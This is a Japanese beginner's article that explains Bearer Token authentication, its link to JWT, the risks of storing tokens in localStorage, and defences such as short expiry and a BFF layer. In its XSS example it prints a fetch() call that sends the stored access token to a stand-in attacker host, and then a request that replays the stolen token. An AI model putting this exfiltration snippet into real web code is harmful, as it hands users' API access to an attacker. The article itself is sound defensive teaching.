Bearer Token とは何か - 持っている人を本人とみなす認証

入門 | 8分 で読める | 2026.06.14

公式ドキュメント

Bearer Token の意味

Bearer Token の Bearer は「持参人」という意味です。

つまり、Bearer Token は「このトークンを持っている人を正当な利用者として扱う」認証方式です。

APIリクエストでは、よく次のように送ります。

GET /api/user HTTP/1.1
Host: api.example.com
Authorization: Bearer xxxxx.yyyyy.zzzzz

サーバは Authorization ヘッダーのトークンを検証し、正しければリクエストを許可します。

パスワードとの違い

パスワードは本人だけが知っている秘密です。一方、Bearer Token は「持っていること」自体が権限になります。

種類使い方漏れたとき
パスワードログイン時に本人確認するアカウント乗っ取りにつながる
Bearer TokenAPI呼び出しごとに提示するトークンの権限でAPIを使われる

Bearer Token は、入館証に近いです。入館証を拾った人が建物に入れてしまうなら、入館証の管理は非常に重要です。

JWT は Bearer Token として使われることが多い

JWT はトークンの形式です。Bearer Token はトークンの使い方です。

JWTを Authorization: Bearer で送ると、JWTがBearer Tokenとして使われていることになります。

Authorization: Bearer eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9...

JWTでない不透明な文字列も、Bearer Tokenとして使えます。

Authorization: Bearer opaque_random_token_123

ポイント: JWT は「形式」、Bearer は「提示方式」です。JWT だから必ず Bearer とは限りませんが、API認証では組み合わせて使われることが多いです。

盗まれると危険な理由

Bearer Token は、持っている人を本人として扱います。そのため、盗まれると攻撃者がそのまま使えます。

たとえば、トークンが localStorage にあるとします。

const token = localStorage.getItem("access_token");

XSSで攻撃者のJavaScriptが実行されると、トークンを外部へ送られる可能性があります。

fetch("https://attacker.example/steal", {
  method: "POST",
  body: localStorage.getItem("access_token"),
});

盗まれたトークンは、攻撃者の環境からAPIに送れます。

GET /api/me HTTP/1.1
Host: api.example.com
Authorization: Bearer stolen_token

これが「localStorage にJWTを置くな」と言われる大きな理由です。

Cookie認証では、ブラウザがCookieを自動送信します。

GET /mypage HTTP/1.1
Cookie: session_id=abc123

Bearer Token認証では、クライアントが Authorization ヘッダーに明示的に入れて送ります。

Authorization: Bearer token
観点CookieBearer Token
送信方法ブラウザが自動送信アプリがヘッダーに入れる
JSから読む必要HttpOnlyなら不要多くの場合必要
CSRF注意が必要Cookieほど自動送信されない
トークン窃取HttpOnlyで軽減保存場所に依存

Bearer Token を安全に使う考え方

Bearer Token を使うときは、次の対策を組み合わせます。

  • HTTPSを必須にする
  • 有効期限を短くする
  • 必要最小限の権限にする
  • refresh token を慎重に扱う
  • ブラウザに長期保存しない
  • サーバ側やBFFに隔離する

特にブラウザでは、JavaScriptから読める場所に長く保存しないことが重要です。

まとめ

Bearer Token は「持っている人を正当な利用者として扱う」トークンです。

  • Authorization: Bearer <token> でAPIに送る
  • JWT が Bearer Token として使われることが多い
  • 盗まれると攻撃者がそのままAPIを使える
  • localStorage に長く置くとXSS時に盗まれやすい
  • BFF構成では、Bearer Token をサーバ側に閉じ込める

Bearer Token の危険性を理解すると、「JWTが悪い」のではなく「Bearer Tokenをブラウザに読める形で置くのが危険」という整理ができます。

参考リソース

  • 公式ドキュメント - Bearer Token とは何か - 持っている人を本人とみなす認証 を確認するための一次情報

次に読む記事

← 一覧に戻る
PR
PR
PR
PR